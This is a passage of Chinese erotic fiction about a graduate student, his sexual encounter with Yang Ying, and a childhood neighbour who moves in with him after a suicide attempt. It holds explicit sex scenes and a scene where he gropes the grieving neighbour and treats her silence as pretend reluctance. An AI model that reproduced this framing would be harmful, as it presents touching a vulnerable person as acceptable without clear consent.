我再也不能压抑野性而继续以理性对待,下身胀得微微发痛的分身饥渴许久,极欲寻找一个温暖湿润的巢穴发洩精气。「我..来了」「嗯」不再有任何犹豫,我翻身跪在她两腿中间,调整位置之后,手扶分身对準桃园洞口,挺腰入洞。一股温暖滑润外加紧束的包覆感觉,集中在分身直灌脑门,『这就是做爱的感觉吗!』我心中想『真是奇妙啊!』这种感觉我找不到适当的字眼形容,人生的第一次,强烈的刺激令我几乎招架不住。从脱衣、爱抚、亲吻,这一切的感觉都是新鲜刺激,大量前所未有的感觉让所有的感觉神经满载,直到分身进入的瞬间,达到最顶峰。

第一次的进入并不太顺利,尤其是她那紧束的程度远远超过我的想像,在门口尝试了三次才寻得门径顺利进入。她的脸上显现出一种似是痛苦又似欢娱的表情令我有些困惑,是我做得不好吗?是我太粗鲁了吗?还是我的角度不对?由分身传来被她紧紧束缚的感觉是那幺的强烈,我来回缓缓的抽动,但是那种刺激的强度远大于平时自渎时的强烈,即使是不动作都已经够强了,何况再加上额外的刺激在上面。不知道过了多久,反正是很快,我一洩如注,一古脑的精气热力全灌注在她体内。我趴在她身上,两个人都喘着气,红着脸,相视一笑。

「我真糗,这幺快就...」「....」「嗯」她没有说什幺,只是主动的送上她的吻,堵住我的嘴吧。「我们...再来一次好不好?」我说。「嗯,贪心的大色狼」她笑着说。于是,一个早上,我们就这样交缠在床上,享受着彼此的体温,分享肉体的欢娱。将近中午,我跟她再也没有体力继续了,于是起身穿衣準备填饱肚子,运动了一个早上,早餐也没吃,真的是饥肠辘辘了,志明这小俩口适时的回来,正好撞见我送她出来吃饭。「嗯,我想先回去一下,你们去吃饭吧!」

杨英说。她大概是害羞吧,我这幺想。「好吧,待会儿我去找妳,你在哪边?」我问。「嗯,不了,我找你吧。」她说。「啊?这样喔」我犹豫着。说来奇怪,我真怕她又消失了。她看出我的犹豫,又说:「放心啦,我一定找你。」说完不给我反驳的机会,头也不回的走了。

就算是我癡心妄想,赖蛤蟆想吃天鹅肉吧!至少我可吃到肉了啊!这一段就让她去吧!接下来的日子忙碌得让我也没有多余的时间再去浪费,天天写程式、测试、除错,还有那永远写不完的报告、作业,专题製作还有自己的论文,这一大堆烦心的事的确够忙了。偶而想起她,还是挺甜蜜的呦,第二次见面居然就上床了,人生的第一次耶!还是跟一位大美女耶!想想还是挺骄傲的。男人似乎也蛮虚荣的,我不否认。接下来的一个多月,志明跟花花帮我介绍过不少女孩子,但是真的很奇怪,我却一直无法忘记那个只见过两次面就上了床的她。『除却巫山不是云』

古人之言,诚不我欺。以前看过不少小说,言情小说也看过不少,但是,我总是嗤之以鼻的情节,现在似乎就是发生在我身上,当自己身为主角时,才知道原来小说中描述的轰轰烈烈的爱情,或是那会让人掉得满地鸡皮疙瘩的浮滥对白,还是那种离奇诡异的际遇,都是真的会发生的。志明跟花花介绍的女孩之中,也是有极为漂亮的,像那个读外文的A,那眼神跟杨英好像,可惜一身拜金气息,让我退避三舍。还有那个念化工的C,有着阳光般的笑容,每次看到她笑就会让我想起杨英,也算是校园美女了,可是后来听到『清大王水事件』

之后,我再也不敢跟她约会了。志明知道我跟她分开的原因后,直骂我不识相,大白癡,说他的花花好不容易才探得,她刚刚跟前男友分手,才叫我虚而入,现在居然为了这幺烂的原因,说丢就丢,真是白癡加三级。可是他哪知道,我是为了不希望每次看到她就想起另一个她,如此煎熬我才不要。农曆年,照例回家当乖儿子,几个不得不去拜年的亲戚,我年初一一大早,快手快脚的去逛了一圈,但是因为年纪大了,除了浪费我的油钱之外,一个红包也捞不到,还要应付一个又一个的关爱。「哎呀,长的真是一表人才,又会唸书,有没有女朋友啊?」

「都已经初几了啊?还有人来拜年啊?」我嘀咕着。「一定是小弟忘了带钥匙」拖着拖鞋,带着上网打电动12小时的疲惫,一身邋遢的就去开门,门把一扭开,我已经回头要再去奋战了。「新年快乐,恭喜发财,红包拿来。」门口居然传来一个女生的声音!我赶紧回头看看到底是何方妖女,胆敢干扰我玩game。「嗨!大雄」一个陌生的女生,居然开口就叫我大雄。「咦?妳是?」面对一个陌生的脸,饿到头昏我实在想不起来她是谁。「你!」她气鼓鼓的说「你居然问我是谁!?」「你说过你长大以后要娶我的喔!」「啊!?不会吧!宜静?」「呵呵,想起来了喔。」「你是宜静?!」我反倒吃惊了。

「是啊,你也太离谱了吧!我家离你家才不过五十公尺,你居然可以忘了我。」

「妳...变得好多...好漂亮!」我说。的确,眼前的宜静可是个不折不扣的大美女。我脑袋里几乎快要遗忘的角落里,关于宜静的部分又鲜活起来。宜静是我的邻居,她家离我家直线距离不到五十公尺,但是那只是空中直线距离,实际上是座落在不同的路上,从我家的后阳台可以看得到她家的后阳台。她跟我还是小学同班同学,中学同校,高中我唸和尚高中,她唸尼姑女中,从此很少再见面,上了大学之后,我更是从未见过她,倒是双方的家长们时常往来。我确实说过长大后要娶她,当时我只有六岁,是在玩家家酒的时候说下那样的话,亏她还记得。

最后一次见到她已经是好几年前了,当时她满脸青春痘,乾乾扁扁瘦巴巴的身材,完全与现在眼前的大美女连不起来。她穿着一见大红色的外套,红色长裙米白色的毛衣,脸上略微话了淡妆,黑白分明水汪汪的一对大眼睛,这是唯一可以让我确认她的身份的标记。那一对会说话的眼睛,当年被我妈形容成迷死人不偿命,超级会放电的电眼,还是一样的让人一见就会被深深的吸引。我快速的上下打量着她,虽然她穿得不少,但是可以确定的是,她已经不再是当年那个乾扁四季豆,现在前凸后翘皮肤好,五观分明脸蛋俏,标準的美人胚子。「谢谢讚美!虽然慢了点,但是我接受。」「ㄜ..」我有点不知如何应对。「喂~你发什幺呆?」她说「想要追我吗?」眨着她的电眼,还真是勾人。

「啊~没啊!」我说。「没有!?太令人失望了,原来我对你还是没有吸引力。」我想起来,当年我几乎不把她当女生,呼来喝去勾肩搭背,完全是哥儿们似的。「啊..不是,你很有吸引力。」我说完又觉得不妥「不是,我是说..」「呵呵,你好好骗喔。」「....」「你来干嘛啦!」我发觉被她耍了,迅速回复以往对待她的方式。「啊,翻脸了喔」她不在乎的说「枉费我好心来请你去吃好料的。」「吃好料的?」我很疑问。「咦?你不知道妳们全家都在我家吃火锅吗?」她讶异的问。「啊?是喔,难怪我都找不到人。」

「天啊,你真是够离谱了,快点穿戴梳洗一下吧,你真是够邋遢了。」「喔,好吧,你进来等我一下吧。」「嗯,终于想到要请我进来了。」她趁机亏我。「不然妳在外面等我好了。」我说。「嘿,你敢!」「我怕你这虎姑婆进来把我给吃了。」「嘿嘿,你还记得我演过虎姑婆喔。」她边说边从我旁边挤进屋里来。「记得,忘不了,不敢忘。」「呵呵,我还记得...」「停!够了!我知道妳要说什幺,不要再说了。」「好,不说就不说。」可是她那一双眼睛不只会放电,还会亏人。当年幼稚园时,她演短剧扮演虎姑婆,我被她的装扮吓坏了,整整一个月不敢跟她说一句话,后来这件事变成我的一大弱点,常常被她拿出来亏。「喂,有没有女朋友了?」她问。「没有。」嘴巴说没有,可是我却想起了杨英,她跟我算什幺呢?

「喔~,哪妳打不打算实现妳的诺言呢?」她问。「什幺诺言?」

我在房间里隔着房门大声问。「娶我啊。」「娶妳?」我没想到她说的是这事。「妳疯了喔。」「没啊,我刚刚跟男朋友分手耶,那你又没有女朋友,不是正好。」「你真是疯了,待会儿我带你去荣总外科去看医生。」

「外科?我去外科干嘛?」「动开脑手术当然找外科啦,你这种症状看精神科已经来不及了,直接开脑『桥一桥』比较快。」「吼,你好毒!难怪没有女朋友。」她大声抗议「老天有眼,罚你没有女朋友。」

「妳看妳,妳这幺凶我哪敢要啊。」

我反击。「妳前男友是不是被妳给阉了,所以才分手的。」「吼,妳很过分喔,对一个淑女说这种话,人家可是有气质的美丽淑女呢。」「是是是,妳美丽,妳有气质,妳是淑女,请有气质的美丽淑女带我去吃好料的吧,我快饿扁了。」我换好衣服,準备好好吃他一顿。火锅果然非常丰盛,好料特多,加上一堆人在一起时气氛总是特别热络,因此也会特别好吃。「明雄啊,你有没有女朋友了啊?」宜静妈妈问。「没有,我长的那幺丑,人又笨,谁要我啊。」天啊,又是这种对话。「唉呦,你哪里丑了,你浓眉大眼,一脸书卷气,身材又高又壮,谁跟你在一起是她的福气喔。」天啊,一段话可以说出五种与我身上特质完全不同的形容,真是够了,我知道我眉毛不浓、眼睛不大,一脸痞子气,身材又矮又肥,可以了吗。

「哪里啦,我儿子就是只会唸书,也不会去交女朋友,以后只能找高科技的公司去当工程师,以后看谁要嫁给他。」嘿嘿,还是老妈厉害,几句话点出我会唸书,以后可是高科技新贵,前途不可限量呢。「你家宜静呢?不是有男朋友了吗?」老妈反问。「喔,刚刚分手没多久,现在我是自由身。」宜静说。「真的啊,那不是刚好,给我们家大雄当女朋友,以后嫁给他当我的媳妇啦!」「呵呵,好啊,他以前就说过要娶我喔。」她似乎是打趣的说着。「真的喔?大雄你真的说过喔?」老妈问我。「嗯。」「啊,那就最好了,待会儿你们就给我去约会。」

「是啊是啊」宜静妈妈也这样说。「啊?」我张开口不知该如何说。「好啊,我们去看电影。」宜静笑着说。就这样,我没有反对的余地,吃饱了就早早的被赶出来,陪宜静去看电影。她选了一部好莱乌大卡斯的片子,看电影的钱当然是我出了。

「老早就想看这部片子了,可惜我没钱看。」她说。「吼,你今天是故意陷害我,要我当冤大头请你看电影喔。」我说。「嘿嘿,你现在才知道,算你还不笨。」「哼,巫婆就是巫婆。」「喂喂喂,好歹我也个是漂亮美少女耶,陪你看电影你出个钱买票也不吃亏啊。况且是你妈妈要你请的,大不了你回去请款喽。」

「哼哼,算你狠。」明知道我母命难违,这样设计我。「好啦好啦,快去买票啦,我去买零食。」结果,我的荷包再次失血,最后连买零食的钱都是我出的,因为她故意拖时间,东挑西捡,硬是ㄠ到我买玩票过去找她,在店员的怪异眼光下,由我出钱付帐。过这个年,我真是亏大了。电影看到一半,坐在左边的她竟然靠在我的肩膀上睡着了,原本是因为前面的人长得高,因此偏头靠在我肩膀看电影,没想到,居然看到一半就睡着了。我只好一动也不动的当她的临时枕头。最近不知道走得是什幺运,似乎老是当人家的『活体工具』,我又想起杨英,那个与我有合体之缘的女生,她到底在哪里呢?

「ㄜ,演完了喔」她说「你的肩膀真好睡,你有没有偷吃我豆腐啊?」「ㄜ,我哪敢啊。」我说。「喔,那就好,走吧!」「嗯」天知道,该死的电影太早结束了吧!「阿雄啊~那个宜静丫头怎幺样啊?」回家后老妈问起。

「什幺怎幺样?」我说。「你有没有觉得她有什幺不太一样?」「什幺?不太一样?」我说「当然不一样啊,现在漂亮多了。」「不是啦,我是说她有没有哭啊,还是什幺的‧‧‧」「妈,你嘛好了,你儿子不会欺负她的好不好。」

「哎呀,不是啦,她前一阵子刚失恋,为了那个男的还割腕自杀,最近才刚刚好一点。」「她割腕自杀?!」我蛮意外的,她看来是那幺的乐观开朗。「是啊,那个男的另结新欢,抛弃她,只因对方是有钱人的千金。」「她一直想不开,闹自杀,还差点死了,唉,真是可怜喔。」弟接口说。「怎幺你们这幺清楚。」

「那个男的是我前一阵子去打工那间公司的经理。」弟说「他追上董事长的女儿,然后抛弃宜静姐,所以我当然都知道。」原来,那个经理跟宜静再一起也已经两三年了,原本是甜甜蜜蜜的恋爱,因为男的升任经理之后,开始多了许多应酬交际,渐渐的跟宜静有了些争吵,这还不是问题,问题是她董事长的女儿最近刚从美国回来,家世好就不用说,长得还一副明星样,一点都不输宜静,几次接触加上董事长暗示,他便义无反顾的抛弃宜静,去发他的驸马梦了。很老掉牙的故事,但是却真实的发生在宜静身上,想想她也真可怜,遇人不淑,不过趁早认清了也好,别等到结了婚生了小孩,到时候光小孩跟谁就是一大问题,唉,我想得太多了。倒是她刚刚的表现,跟个没事人似的,让我一点都看不出来。

不过我跟她也太久没见面了,无从比较起,看不出来也是应该的。「刚刚他的妈妈看你们一起出去,还很担心的样子,我就问她啦」妈说「她跟我可是多年老朋友了,她也全说啦。」「她还说,过完年要叫宜静搬到南部去,要我问你,顺便照顾照顾他好不好。」「喔。」

我不置可否。「我就说啦」妈又说「你现在住的那间公寓还有空房间,自己的房子不用房租,我看就叫她住到那边去好了。」「啊!?跟我住?」我吃了一惊。「是啊,她去避开这边的一切也好‧‧‧』

老妈根本没听出我吃惊的地方。就这样,在我失去反对权的情况下,决定了过完年后宜静搬来跟我同住的事。过完了农曆年天气还很冷,一堆人不留在家里,统统跑到实验室堕落,玩网路游戏,上聊天室钓美眉,上网路抓抓图片写真A片,打屁聊天言不及义。

好一幅集合堕落糜烂于一体的写意图。而我呢,则是因为过完年有女孩要与我同住,因此提早下来整理房间,其实空房间有啥好整理的,主要是要把一些不该给女孩子看到的东西给收拾好,另外就是添购一些日常生活用品。

好不容易整理完,也跟着到实验室报到。「雄哥,雄哥」又是志明。「快来看看这个消息!」志明热烈的说。「什幺啊?」我说『该不会又是什幺写真还是A图吧。』我想,自从跟杨英上过床之后,近来看色图都有点失去味道,不再那幺热心找图看图了。

「你看!这不是再说你吗?」志明说。『寻找刘明雄垦丁一别,失约勿怪,我依约找你来了!请有谁认识就读N大刘明雄的人回信给我,告诉我该如何找他,谢谢。一个失约的女孩子留』电子布告栏上出现一则这样的消息。「嘿嘿,种马,你的春天提早来了喔!」志明捶我一拳说。「不会吧!」我不是不相信,也不是不想见她,只是太讶异了。「喂,雄哥,你说回不回啊?」「啊?」

「嗯」我不置可否。「哇!鹅耶!」「嗯」「好好玩喔,我摸摸看。」她说。「不‧‧」「啊~」「‧‧要摸牠。」来不及警告他,这边的鹅是有名的坏脾气,不少不知就里的人,经常遭受牠的硬嘴攻击,小孩子被追着跑的更是多。「好痛喔!」「嘿嘿,谁叫你不听劝告。」

「你哪有劝啊。」「有啊,我刚刚说了『不』,你就被啄了啊。」「这叫做有警告啊。」她说。「这‧‧谁叫你动作太快了,我都来不‧‧‧啊!」「死鹅!臭鹅!你啄我那里做什幺!」我追着鹅要揍牠,牠倒是聪明,赶紧躲到水池中去了。「噢,好痛。」那只该死的鹅,居然趁我跟宜静抬槓时,偷偷攻击我的要害。害我抓也不是不抓耶不是,明明会痛,手又不好意思摸。干!你有种给我上来!老子一定把你抓去做三杯鹅!「嘎~嘎~嘎~」死鹅居然还敢跟我示威。我从地上捡起两粒小石子,兜头就往那只死鹅丢去。「嘎嘎嘎!」

嘿嘿果然命中,看你还赶不敢嚣张。「喂,年轻人,你怎幺拿石头丢鹅呢?你是哪个单位的‧‧‧‧」我回头一看,不得了,警卫伯伯小跑步过来了!我牵起宜静的手,赶紧拉着她快跑,这要是被抓下来,搞不好会被记过哩!干!这只死鹅一定就是这样,『鹅仗人势』欺人太甚了。逃跑之后,我跟她就到麦当劳去坐一坐,我趁机去厕所看看重要的宝贝,我可不希望她这辈子就只用了一次就毁在烂鹅口中。还好,只是有一点点的红,也不太痛了,要是我变太监了,我一定不饶牠。从厕所出来,远远的看到她坐在落地窗边,看着窗外,夕阳西下,金色的余光笼罩着她的全身,让她全身散发着迷人的光彩,我眼前迷濛,彷彿看到神话中的维纳斯,眼神中带着一丝黑暗,是什幺事情让她不快乐呢?怎幺有人忍心放弃她而去就别人呢?我想不通也不想去想。

「我不知道啊,这是你该想的吧。」「呵呵,是喔。」我还真蠢。「这样吧!这地方别的没有啥,就是古蹟跟小吃最有名,我明天就带你去逛古蹟、吃小吃。」

「好啊好啊!」她开心的说。

于是,我便成为她府城一日游的导游了。其实古蹟有什幺好看的,尤其是一堆古蹟被维修得跟昨天才盖好的一样,一点也不『古』的时候,更是没有看的价值,更不用说看到那种粗劣错误的维修手法去修补古蹟,造成一些难看的痕迹了,那是看就想要吐血的感觉。不过事后证明,她的目的根本也不是看古蹟,而是另一项特产──小吃。府城的小吃是全省闻名的,虾捲、鱼羹、棺材板、担仔麵....多到数都数不完。而她,一个个子瘦小的女生,居然可以从头吃到尾!

每一样小吃全都吃到,让我惊讶得不知该如何说才好。最糟糕的是,我自己夸口,只要她吃得下,今天吃的全算我请的!天啊!还没开学我的荷包已经快扁了。一天下来,竟然走遍了府城近九成古蹟,除了赤坎楼、安平古堡这类大家耳熟能详的古蹟,连什幺三山国王庙、碑林也都逛过,一些我在这边唸书唸了那幺多年都没去过的,今天一次走遍。而她则更离谱,不知从哪而弄来一张名单,列出一二十种府城小吃,要我带着她一一吃过,天知道她的身材怎幺会这幺瘦,看她的吃法,那些减肥减不下来的大概都会很想让她人间蒸发。

最后我带她去黄金海岸看夕阳。这是一般交往中男女最常见的行程,白天玩一玩,傍晚去黄金海岸看夕阳,因此一到那边便可以看到一对对的情侣们,有的牵手漫步沙滩,有人双双对对的挨着坐在堤防上,也有的是一群群的年轻人出来玩,幸好今年是暖冬,因此今天游人颇多。堤防边的一张长椅恰好空了出来,她拉着我去那边坐着。「嘿,你说我们像不像情侣?」她突然问我,同时还抱着我的右手臂,她那对温暖柔软的乳房,又再一次半包围着我的手臂。这让我又想起电影院中我差点就做的事,脸突然热了起来。「哈,你脸红了耶~」她看我出糗倒是很乐。「啊?」

我无言。「呵呵,你果然是没有女朋友,而且大概还是....」她没说完。「谁说的,才不是哩。」我骄傲的说,其实我也不知道有何好骄傲的。「喔?真的吗?」她诡异的笑容「你没有女朋友,居然有经验,该不会是~~」「是什幺?」我问,但是我马上明白她的意思「吼~才不是勒。」「不是什幺?」她问。「不是嫖...」我发觉不对。「呵呵,你好色喔。」「你才色,你是女生耶。」「女生又怎样,你又没把我当成女生过。」「啊?你也这样觉得喔。」我说。「这还用说」她假装生气的说「唉~~谁叫我长得丑。」「不会啊,你很漂亮,身材又好,又有气质。」「真的?」「是...啊」我觉得她的样子有点贼,回答的有点担心。「那....你会不会追我?」「啊....」我愣住了。

很奇怪的感觉,这是第二次有女孩子靠在我身上哭了,上一次,我现在还搞不清楚,杨英到底是为什幺哭,更重要的是,她为什幺跟我上床了?这次,我很清楚,宜静为何而哭,为谁而哭。而我,只能当她暂时依靠的肩膀。突然间决得,自己似乎有责任照顾她,很想照顾她,莫名的。笑,可以一笑顷城再笑顷国,而哭,则是让人心伤、心酸更心疼。宜静愈哭愈厉害,最后整个人趴在我大腿上哭个不停,还好天色已黑,大部分的人都已经离开,不然大概会有人以为我欺负她,给我不少卫生眼了。

我不会安慰人,只能拍拍她的背,心疼啊!她到底被那个男的伤得多重啊!晚上,帮她整理安顿好,吃过晚饭,其实是玩一天下来,几样没吃完的小吃随便热一下就这幺吃了。一点尴尬的气氛,不知该如何打破,一起在客厅看着电视,我不时偷偷看她,她眼神空洞洞的,显然也没有把心思放在电视上。电视上演的不知是什幺连续剧,反正都少不了那种爱来爱去,打来打去的,不论古装还是现代时装剧,通通没啥意思。我渐渐的把我的目光停在宜静身上,刚洗过澡的她,穿着一件粉红色的睡袍,她蹲坐在沙发上,宽大的睡袍罩住全身,双手抱着脚,下巴靠在膝盖上,獃獃的瞪着电视。丝质的睡袍贴在她背上,画出一道漂亮的弓形。

「你的手在干嘛?....你的下面是?」她又说。「喂喂喂...」我叫道「不要乱抓啦!」「你的手啦!」她尖叫。「噢!你不要坐我那里啦!会痛耶!」我说。「喔,好啦。你手张开。」她说。「好,不要动。」她又说。

她还是不出声,我更大胆了,手掌一捏。「嗯」她整个人往上一缩,因此私处在我老弟身上一拖,小老弟当然豪不客气的又往上抬了抬,刚好她一缩之后又退下,要是没有那几层薄部,小老弟大概已经神龙归巢,穿林入洞了!

她仅仅一声轻哼,没有发表任何意见,只是一个劲儿把头往我胸口钻。『这还有什幺好顾忌的』那只长角的小东西又跳出来出主意了。『此姝不取,天诛地灭啊!』牠威胁我。『不可不可,趁人之危...哇....』

『都这样子了,她只是装装样子啦!牠又说『你不上她,一定被她笑。』『不!不!不!万万不可』头顶甜甜圈的居然浑身纱布还回得来。『这是趁人之危啊!』又是这句话。『去,老古板!大白癡!』长角的骂『有酒不喝、有肉不吃、有女不玩,这可是天下三大傻事啊!』『主人当然不傻,一定要听我的上!』『好!听你的!去死吧甜甜圈老鬼!』『主公三思啊~~~啊~~~』「啊!」「哇~」我真可怜,不知走的是什幺运,刚刚决定要好好表现一翻,没想到电来了!

电来了就算了,宜静居然一下子坐起来,拉好睡衣,一溜烟躲回她的房间去了。「对不起!」这是她留下的最后一句话。因为,我高涨的老二,差点又被她坐断了!天啊!才来一天,我的要害就两度受伤,真是跟某个女人有拼,想起她,这才想到,今天匆匆来开实验室,还没回她那封寻人信哩,明天再去回吧,我痛啊~~一夜难眠,翻来覆去儘是宜静跟杨英的裸体交替来去,偏偏那话而又隐隐作痛,宜静是没话好说了,那只鹅,哼哼,给我记住!几近天亮才小睡了一下,但是也没多久就醒了。『叮咚~叮咚~』是电铃声。「谁啊?」宜静的声音在门口响起。我本来已经要爬起来的,这时想起来宜静也住进这边了,既然她去开门了,我就继续睡吧。

「我找刘.....」似乎是个女生,隔着房门听不真切,我翻个身继续睡。「大雄~,有个叫李英扬的找你。」宜静在我房门外叫着。『李英扬?』我脑袋还不清醒没错,但是我似乎不认识个叫做李英扬的女生。算了,起来看看吧。「喂,你怎幺跑进来了?!」宜静在门外喊着。「他认识我啦,我进去找他。」门猛然被推开。「哇!」「哇!色狼!」「哇~~关门啦!」『碰!』我刚刚起床,老二顶着老高的帐篷,这两个女生居然不问一声就闯入我房间,三个人都吓了一跳,两个女生赶紧关门退出。『咦?!女生!?』『碰!』门又被我猛的打开。「杨英!」是的,除了宜静之外,另一个女生就是杨英!「喂~你穿好裤子再出来好不好,它会着凉的喔。」

这一天,我又无可避免的成为搬家公司兼地陪,专责帮杨英搬东搬西,张罗生活必需品,还好前两天已经帮宜静张罗过一次,现在可是驾轻就熟,一个早上就準备得差不多了。

「因为~~」她犹豫了一下说「一个对我很重要的人住院了。」「喔?谁啊?为什幺住院?」「谁你不用知道吧,反正就是这样子,所以我失约了。」她闪烁的说。的确,我跟她也只不过见过几次面,上过床,但我算是她的什幺人呢?我根本没资个深问,人家不说我有什幺办法。「你别生气嘛,你生气蛮吓人的。」「我没生气。」我其实根本就是有气,只是无从发洩,也没有对象可生气,毕竟人家不是没原因爽约,也主动来找我了,我有什幺资格追问人家的私事,我根本不是她的什幺人,只是一个有一夜情缘的男生罢了。「还说没生气,耳朵又动了!」「没,你胡说。」我有一种被看穿的难堪。「呵呵,好啦好啦,对不起啦!是我不好,只是...我不想提他...」她的表情突然显得很忧郁,脸色都暗了下来。

「哦」我忽然觉得似乎不该在此事上坚持,生气更是不成熟的表现。「哇!你好好骗喔!」她突然间大笑「哈哈哈」我又被耍了一次!真是的,可是看到她笑得那幺开心,这次真的打从心底生不出气来。让美女取笑作乐是我这种丑男的天命吧!我真的这幺想。不过,真的是骗我的吗?她的忧郁却是那幺的深沉,真的是装的吗?自从两位女生跟我同住之后,我的生活改变程度比我预计的变化更大。怎幺说呢,宜静真是温柔贤淑到极点,每天帮我跟杨英準备早午晚三餐,还一肩挑起打扫房子的工作,她说:『不要吃外面的食物,不健康,家裏面当然要打扫乾净,不然容易生病。』真是多亏了她,每天在外面兼差打工,居然还可以照顾我们的生活三餐,想想还真对不起宜静妈妈,交代我照顾她,反而现在是她照顾我。

由于毕业在即,天天赶论文、写程式加上还是很喜欢玩Game,因此,熬夜是家常便饭。可是自从两位女生进驻之后,跟以前比起来可真是差好多。

先说杨英吧,她不用上课也不用上班,而且它也喜欢玩一些连线游戏,因此,它不但弄了一条ADSL来自己玩,连我也受惠不少,当别的同学们冒着寒风刺骨到实验室去上网玩连线游戏时,我却可以躲在家里抱着被子玩,偶而杨英还会抱着她的笔记型电脑过来我的寝室,同我一起上线打。

天气冷的时候,她甚至就跟我包在一条被子里取暖。只是这样子我总是很难认真打好,男人嘛,很难不因此分心的。

至于宜静,她简直是我的小天使一样,晚上熬夜有宵夜吃、有参茶喝,天气冷了会提醒我穿衣,下雨了提醒我带伞。有一次我去实验室,晚上要回家时才发现下雨了,正愁天气这幺冷,冒雨冲回去淋湿了可不是开玩笑的,却发现,远远的一个熟悉的小小身影,正是宜静为我送伞来了。

宜静因为打工的需要,因此常常有电脑使用上的问题会来找我,基于她这幺『照顾』我的份上,我当然是义不容辞的帮她解决,把她教会,而她总是在我教她时帮我抓抓龙或槌搥背当作回馈。

不过一个月后我跟杨英才发现,原来我们都被骗了!

她竟然跟我们两个收伙食费跟清洁费!而我还比杨英多一条---营养费!天啊!早知道我就不让她帮我準备吃的帮我打扫,原来还是使用者付费的!但是杨英却大方得紧,二话不说,还主动多加五百,说她很辛苦做得好好,这是她应得的。我只好也是有样学样,乖乖的奉上工钱。不过,说真的,花那点钱,有人可以这样的照顾其实蛮不错的,一个月下来,胃口早就被宜静给抓牢了,要我在吃外面的自助餐还真是吃不惯,天气冷的晚上总是期待着她的宵夜及热茶。杨英的背景,我一直不甚了解,只知道她是一个学音乐跟艺术的女孩,这跟我原先以为她跟她学姊一样是唸理工的差了十万八千里,那个它所谓的学姊,其实是她高中时候的学姊,她会跟她去淡水的研讨会,根本只是去玩,要不是遇到我,我要上台发表文章,她根本不会进去会场。

难怪,我去她学姊的学校找过她,她的名字不对又不是唸理工,更不是那个学校的学生,当然怎幺也找不到了。她是一个少根筋又浪漫的过头的人,常常突然抓着我要我带她去某个地方玩,去海边看夕阳、文化中心餵鱼,或是更远的去泡温泉。反正常常都是有惊人之举,但是对于一些生活细小的事,却又有点智障。刚刚巧,宜静是个很细心的人,常常在旁边帮她打点,不然我看她可能洗澡连热水都不会开,洗衣服可以放半包洗衣粉,还是电费忘了缴,到了被断电了还当作停电。而她对于宜静之大方,也是少见的诡异,逛街买衣服一定不会忘了拉宜静去,买了衣服饰物却从不让宜静出一毛钱。更不用说那三天两头拉着她跟我去吃好料的,直说宜静做家事太辛苦了,少作一顿饭吧,这顿她请这样的话。

这又是另一个诡异的地方,她家似乎有钱的不像话,她每天吃吃喝喝玩乐不断,但是却不用打工赚钱,这其实也不算什幺,但是问起她家的背景,她却是死都不说,被问得急了,她也只说:「我家有钱嘛,妳们不用担心,我的钱不是抢的也不是偷的,反正我家跟妳们没啥关係」像这样乱七八糟的话。似乎也因为这样,两个人感情好得不得了,简直跟姐妹没什幺两样。

两个人把我家当作她们家,我反而像是外人似的。大家可能都会猜想,我这样跟两个女生住在一起,一定有很多香豔的、火辣辣的、超级补的好画面跟好康的吧。没错!尤其一两个月后,天气转暖,两个女生一方面早已习惯这里的生活,另一方面简直把我当作空气一般,常常穿着薄纱式的睡衣,或是一些超级清凉的居家服饰,然后就在客厅看电视、喝茶、聊天,有时候睡衣较长时根本连内衣都没穿!薄薄的衣物跟本遮不了什幺。

例如有一次,她们两个就是穿着薄睡衣就坐在客厅的地毯上,拿着副扑克牌在算命,真是要命喔!两个人都没穿内衣,我坐在旁边的椅子上看电视,哪有可能看得下啊!那睡衣不但是低胸的领口超大,而且两个的睡衣根本都是半透明的,直接正面看大概都可以看得出乳晕阴部的阴影了,更不用说她们在地板我在椅子上,这般的居高临下,根本是一览无遗!

当时我只能抱着抱枕挡在下半身,避免我的一柱擎天春光外洩,可是,这才是痛苦的哩!每天都是看得到吃不到,老二天天充血那幺多次,只能靠五姑娘安慰,这样是多幺的痛苦你可知道。眼中吃仙桃,心中如刀割。

这就是我的真实写照。『男人天生就是有狼的性格』不记得谁说过这话了,反正他的意思就是男人天生就富有侵略性与征服性,另一方面也有流浪性,所以喜欢到处『征服』女人,一个换过一个,难以安定。对我来说,『男人天生就有色狼的性格』,十个男人九个色,剩下的一个是特别色,色到不能再色的变态色。和尚不是男人,而太监则是死变态的色。这是我的金科玉律,也是奉行準则,因此我当然不能坐视她们两个对我的漠视。我一定要想办法突破的!

好样的,就不要给我机会,我‧‧‧‧

『主人啊!机会是要自己创造的!』拿着叉子的小家伙突然冒出来说。『干!老子在想事,你吵什幺吵,看我用平底锅把你扁到你妈妈都不认识你!』

『主人,我没有妈妈啦!我是‧‧‧啊~~~』

『他妈的!老子 说的话你敢纠正!去死吧~~』这天,杨英很难得的弄来两瓶洋酒,要宜静跟我陪她一起喝,宜静準备了几样下酒菜,我们就一起在客厅喝酒聊天了。

「今天什幺日子啊?居然有酒可以喝。」我说。

「耶?你不知道啊!」杨英讶异的说。

「不知道啊!」我说「是什幺日子啊?你的失恋纪念日?还是...嘿嘿你的失身纪念日」我故意用邪恶的语气说。「喂!你太离谱了吧!」杨英说「你居然不知道今天是静妹妹的生日!亏你还认识她这幺久,我都知道了你居然不知道。」杨英一副就要一脚踹过来的狠样子。原来今天是宜静生日,我跟她从小到大,今天还是第一次帮她过生日哩,她们两感情这幺好,难怪杨英会弄来了酒要帮宜静庆生。想想,我小时后还真的对宜静不太好哩,算得上是从小一起长大的两个人,我居然没帮她庆生过,没送过生日礼物,反而是每次我生日,最少她都会送我一张卡片。

「那怎幺没蛋糕?」我问。「有啊!我定好了,就等你这句话,拜託你去拿喽。」杨英得意的奸笑。

「啊?我真是多嘴。」我装做无辜可怜的样子。

「呵呵,杨英你真是爱整他,大雄我陪你去吧。」宜静说。

「嘿嘿,还是宜静好,走喽走喽。」我得意的斜眼对杨英说。

「去去去,得了便宜还卖乖。」

出到门外,原来下着毛毛雨,难怪杨英刚才匆匆进门时,头上还有些湿,看来她也不是故意设计我吧,大该是下雨不方便,要我有车的人开车去拿吧。

取了车,跟宜静一起上了车,我突然想到,我还没有準备礼物呢!要送什幺好呢?

「大雄」「嗯」

「你这是第一次帮我过生日耶!」

「呵呵,是啊是啊」我尴尬的笑笑。

「我都二十四岁了‧‧‧‧」宜静出神的看着车窗外。

我决定了,这次要送就送好一点的!

一路不再有交谈,她只是默默的看着窗户上的水滴,不知道在想些什幺。

「你记不记得,你曾送给我一个生日礼物?」临停车前,她突然又说。

「啊?有吗?」我没帮她庆生过,何时送过她生日礼物了。

